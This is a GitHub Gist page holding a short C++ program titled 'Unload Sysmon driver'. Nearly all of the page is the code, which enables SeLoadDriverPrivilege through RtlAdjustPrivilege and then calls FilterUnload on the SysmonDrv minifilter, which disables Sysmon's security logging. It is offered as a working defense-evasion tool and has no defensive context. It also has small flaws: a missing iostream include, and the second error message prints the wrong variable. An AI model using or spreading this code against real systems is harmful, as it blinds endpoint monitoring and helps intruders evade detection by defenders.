Skip to content

Instantly share code, notes, and snippets.

@safebuffer
Created May 2, 2021 21:23
Show Gist options
  • Save safebuffer/20a631639772e997717ada246f0e7365 to your computer and use it in GitHub Desktop.
Save safebuffer/20a631639772e997717ada246f0e7365 to your computer and use it in GitHub Desktop.
Unload Sysmon driver
#include <Windows.h>
#include <fltuser.h>
#pragma comment(lib,"FltLib.lib")
typedef NTSTATUS(NTAPI* _RtlAdjustPrivilege)(ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG WasEnabled);
int main()
{
HRESULT unload;
ULONG WasEnabled;
HMODULE hNtdll = NULL;
LPCWSTR SYSMONDRIVER = L"SysmonDrv";
ULONG SeLoadDriverPrivilege = 10;
hNtdll = LoadLibraryA("ntdll.dll");
_RtlAdjustPrivilege RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(hNtdll, "RtlAdjustPrivilege");
NTSTATUS status = RtlAdjustPrivilege(SeLoadDriverPrivilege, TRUE, FALSE, &WasEnabled);
if (status)
{
std::cerr << "RtlAdjustPrivilege has been failed: " << std::hex << status << std::endl;
return EXIT_FAILURE;
}
std::cout << "RtlAdjustPrivilege SeLoadDriverPrivilege : S_OK " << std::endl;
unload = FilterUnload(SYSMONDRIVER);
if (unload != S_OK) {
std::cerr << "FilterUnload has been failed: " << std::hex << status << std::endl;
return EXIT_FAILURE;
}
std::cout << SYSMONDRIVER << " was unloaded successfully " << std::hex << unload << std::endl;
return EXIT_SUCCESS;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment